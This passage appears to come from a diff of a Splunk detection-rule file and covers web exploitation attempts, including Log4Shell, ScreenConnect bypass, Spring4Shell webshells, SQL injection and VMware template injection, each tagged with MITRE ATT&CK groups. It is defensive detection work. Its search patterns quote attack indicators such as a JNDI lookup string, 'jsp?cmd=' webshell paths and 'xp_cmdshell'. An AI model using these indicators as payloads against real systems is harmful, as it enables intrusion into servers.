} - ], - "message": "CVE-2021-44228 Log4Shell triggered for host $dest$", - "risk_score": 15, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell JNDI Payload Injection with Outbound Connection", - "description": "The following analytic detects Log4Shell JNDI payload injections via outbound connections. It identifies suspicious LDAP lookup functions in web logs, such as `${jndi:ldap://PAYLOAD_INJECTED}`, and correlates them with network traffic to known malicious IP addresses. This detection leverages the Web and Network_Traffic data models in Splunk. Monitoring this activity is crucial as it targets vulnerabilities in Java web applications using log4j, potentially leading to remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and compromise sensitive data within the affected environment.", - "search": "| from datamodel Web.Web | rex field=_raw max_match=0 \"[jJnNdDiI]{4}(\\:|\\%3A|\\/|\\%2F)(?\\w+)(\\:\\/\\/|\\%3A\\%2F\\%2F)(\\$\\{.*?\\}(\\.)?)?(?[a-zA-Z0-9\\.\\-\\_\\$]+)\" | join affected_host type=inner [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic by All_Traffic.dest | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename dest AS affected_host] | fillnull | stats count by action, category, dest, dest_port, http_content_type, http_method, http_referrer, http_user_agent, site, src, url, url_domain, user | `log4shell_jndi_payload_injection_with_outbound_connection_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "CVE-2021-44228 Log4Shell triggered for host $dest$", - "risk_score": 15, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Nginx ConnectWise ScreenConnect Authentication Bypass", - "description": "The following analytic detects attempts to exploit the ConnectWise ScreenConnect CVE-2024-1709 vulnerability, which allows attackers to bypass authentication via alternate paths or channels. It leverages Nginx access logs to identify web requests to the SetupWizard.aspx page, indicating potential exploitation. This activity is significant as it can lead to unauthorized administrative access and remote code execution. If confirmed malicious, attackers could create administrative users and gain full control over the affected ScreenConnect instance, posing severe security risks. Immediate remediation by updating to version 23.9.8 or above is recommended.", - "search": "`nginx_access_logs` uri_path IN (\"*/SetupWizard.aspx/*\",\"*/SetupWizard/\") status=200 http_method=POST | stats count min(_time) as firstTime max(_time) as lastTime by src, dest, http_user_agent, url, uri_path, status, http_method, sourcetype, source | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `nginx_connectwise_screenconnect_authentication_bypass_filter`", - "tags": { - "analytic_story": [ - "ConnectWise ScreenConnect Vulnerabilities" - ], - "asset_type": "Web Proxy", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An authentication bypass attempt against ScreenConnect has been detected on $dest$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "PaperCut NG Remote Web Access Attempt", - "description": "The following analytic detects potential exploitation attempts on publicly accessible PaperCut NG servers. It identifies connections from public IP addresses to the server, specifically monitoring URI paths commonly used in proof-of-concept scripts for exploiting PaperCut NG vulnerabilities. This detection leverages web traffic data from the `Web` datamodel, focusing on specific URI paths and excluding internal IP ranges. This activity is significant as it may indicate an attempt to exploit known vulnerabilities in PaperCut NG, potentially leading to unauthorized access or control of the server. If confirmed malicious, attackers could gain administrative access, leading to data breaches or further network compromise.", - "search": "| tstats count from datamodel=Web where Web.url IN (\"/app?service=page/SetupCompleted\", \"/app\", \"/app?service=page/PrinterList\", \"/app?service=direct/1/PrinterList/selectPrinter&sp=*\", \"/app?service=direct/1/PrinterDetails/printerOptionsTab.tab\") NOT (src IN (\"10.*.*.*\",\"172.16.*.*\", \"192.168.*.*\", \"169.254.*.*\", \"127.*.*.*\", \"fc00::*\", \"fd00::*\", \"fe80::*\")) by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest Web.dest_port sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `papercut_ng_remote_web_access_attempt_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "URIs specific to PaperCut NG have been access by a public IP against $dest$.", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "ProxyShell ProxyNotShell Behavior Detected", - "description": "The following analytic identifies potential exploitation of Windows Exchange servers via ProxyShell or ProxyNotShell vulnerabilities, followed by post-exploitation activities such as running nltest, Cobalt Strike, Mimikatz, and adding new users. It leverages data from multiple analytic stories, requiring at least five distinct sources to trigger, thus reducing noise. This activity is significant as it indicates a high likelihood of an active compromise, potentially leading to unauthorized access, privilege escalation, and persistent threats within the environment. If confirmed malicious, attackers could gain control over the Exchange server, exfiltrate data, and maintain long-term access.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.analyticstories) as analyticstories values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count dc(All_Risk.analyticstories) as dc_analyticstories from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"ProxyNotShell\",\"ProxyShell\") OR (All_Risk.analyticstories IN (\"ProxyNotShell\",\"ProxyShell\") AND All_Risk.analyticstories=\"Cobalt Strike\") All_Risk.risk_object_type=\"system\" by _time span=1h All_Risk.risk_object All_Risk.risk_object_type | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| where source_count >=5 | `proxyshell_proxynotshell_behavior_detected_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "ProxyShell or ProxyNotShell activity has been identified on $risk_object$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Spring4Shell Payload URL Request", - "description": "The following analytic detects attempts to exploit the Spring4Shell vulnerability (CVE-2022-22963) by identifying specific URL patterns associated with web shell payloads. It leverages web traffic data, focusing on HTTP GET requests with URLs containing indicators like \"tomcatwar.jsp,\" \"poc.jsp,\" and \"shell.jsp.\" This activity is significant as it suggests an attacker is trying to deploy a web shell, which can lead to remote code execution. If confirmed malicious, this could allow the attacker to gain persistent access, execute arbitrary commands, and potentially escalate privileges within the compromised environment.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*tomcatwar.jsp*\",\"*poc.jsp*\",\"*shell.jsp*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spring4shell_payload_url_request_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Spring4Shell POC code on $dest$ by $src$.", - "risk_score": 36, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "SQL Injection with Long URLs", - "description": "The following analytic detects long URLs containing multiple SQL commands, indicating a potential SQL injection attack. This detection leverages web traffic data, specifically targeting web server destinations with URLs longer than 1024 characters or HTTP user agents longer than 200 characters. SQL injection is significant as it allows attackers to manipulate a web application's database, potentially leading to unauthorized data access or modification. If confirmed malicious, this activity could result in data breaches, unauthorized access, and complete system compromise. Immediate investigation and validation of alerts are crucial to mitigate these risks.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Web where Web.dest_category=web_server AND (Web.url_length > 1024 OR Web.http_user_agent_length > 200) by Web.src Web.dest Web.url Web.url_length Web.http_user_agent | `drop_dm_object_name(\"Web\")` | eval url=lower(url) | eval num_sql_cmds=mvcount(split(url, \"alter%20table\")) + mvcount(split(url, \"between\")) + mvcount(split(url, \"create%20table\")) + mvcount(split(url, \"create%20database\")) + mvcount(split(url, \"create%20index\")) + mvcount(split(url, \"create%20view\")) + mvcount(split(url, \"delete\")) + mvcount(split(url, \"drop%20database\")) + mvcount(split(url, \"drop%20index\")) + mvcount(split(url, \"drop%20table\")) + mvcount(split(url, \"exists\")) + mvcount(split(url, \"exec\")) + mvcount(split(url, \"group%20by\")) + mvcount(split(url, \"having\")) + mvcount(split(url, \"insert%20into\")) + mvcount(split(url, \"inner%20join\")) + mvcount(split(url, \"left%20join\")) + mvcount(split(url, \"right%20join\")) + mvcount(split(url, \"full%20join\")) + mvcount(split(url, \"select\")) + mvcount(split(url, \"distinct\")) + mvcount(split(url, \"select%20top\")) + mvcount(split(url, \"union\")) + mvcount(split(url, \"xp_cmdshell\")) - 24 | where num_sql_cmds > 3 | `sql_injection_with_long_urls_filter`", - "tags": { - "analytic_story": [ - "SQL Injection" - ], - "asset_type": "Database Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "SQL injection attempt with url $url$ detected on $dest$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "VMWare Aria Operations Exploit Attempt", - "description": "The following analytic detects potential exploitation attempts against VMWare vRealize Network Insight, specifically targeting the CVE-2023-20887 vulnerability. It monitors web traffic for HTTP POST requests directed at the vulnerable endpoint \"/saas./resttosaasservlet.\" This detection leverages web traffic data, focusing on specific URL patterns and HTTP methods. Identifying this behavior is crucial for a SOC as it indicates an active exploit attempt. If confirmed malicious, the attacker could execute arbitrary code, leading to unauthorized access, data theft, or further network compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/saas./resttosaasservlet*\") Web.http_method=POST Web.status IN (\"unknown\", \"200\") by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_aria_operations_exploit_attempt_filter`", - "tags": { - "analytic_story": [ - "VMware Aria Operations vRealize CVE-2023-20887" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An exploitation attempt has occurred against $dest$ from $src$ related to CVE-2023-20887", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "VMware Server Side Template Injection Hunt", - "description": "The following analytic identifies potential server-side template injection attempts related to CVE-2022-22954. It detects suspicious URL patterns containing \"deviceudid\" and keywords like \"java.lang.ProcessBuilder\" or \"freemarker.template.utility.ObjectConstructor\" using web or proxy logs within the Web Datamodel. This activity is significant as it may indicate an attempt to exploit a known vulnerability in VMware, potentially leading to remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and compromise the affected system, posing a severe security risk.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url=\"*deviceudid=*\" AND Web.url IN (\"*java.lang.ProcessBuilder*\",\"*freemarker.template.utility.ObjectConstructor*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_server_side_template_injection_hunt_filter`", - "tags": { - "analytic_story": [ - "VMware Server Side Injection and Privilege Escalation" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to exploit a VMware Server Side Injection CVE-2022-22954 on $dest$ has occurred.", - "risk_score": 35, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "VMware Workspace ONE Freemarker Server-side Template Injection", - "description": "The following analytic detects server-side template injection attempts related to CVE-2022-22954 in VMware Workspace ONE. It leverages web or proxy logs to identify HTTP GET requests to the endpoint catalog-portal/ui/oauth/verify with the freemarker.template.utility.Execute command. This activity is significant as it indicates potential exploitation attempts that could lead to remote code execution. If confirmed malicious, an attacker could execute arbitrary commands on the server, leading to full system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url=\"*/catalog-portal/ui/oauth/verify?error=&deviceudid=*\" AND Web.url=\"*freemarker.template.utility.Execute*\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_workspace_one_freemarker_server_side_template_injection_filter`", - "tags": { - "analytic_story": [ - "VMware Server Side Injection and Privilege Escalation" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to exploit a VMware Server Side Injection CVE-2022-22954 on $dest$ has occurred.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web JSP Request via URL", - "description": "The following analytic identifies URL requests associated with CVE-2022-22965 (Spring4Shell) exploitation attempts, specifically targeting webshell access on a remote webserver. It detects HTTP GET requests with URLs containing \".jsp?cmd=\" or \"j&cmd=\" patterns. This activity is significant as it indicates potential webshell deployment, which can lead to unauthorized remote command execution. If confirmed malicious, attackers could gain control over the webserver, execute arbitrary commands, and potentially escalate privileges, leading to severe data breaches and system compromise.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*.jsp?cmd=*\",\"*j&cmd=*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_jsp_request_via_url_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious URL has been requested against $dest$ by $src$, related to web shell activity.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - 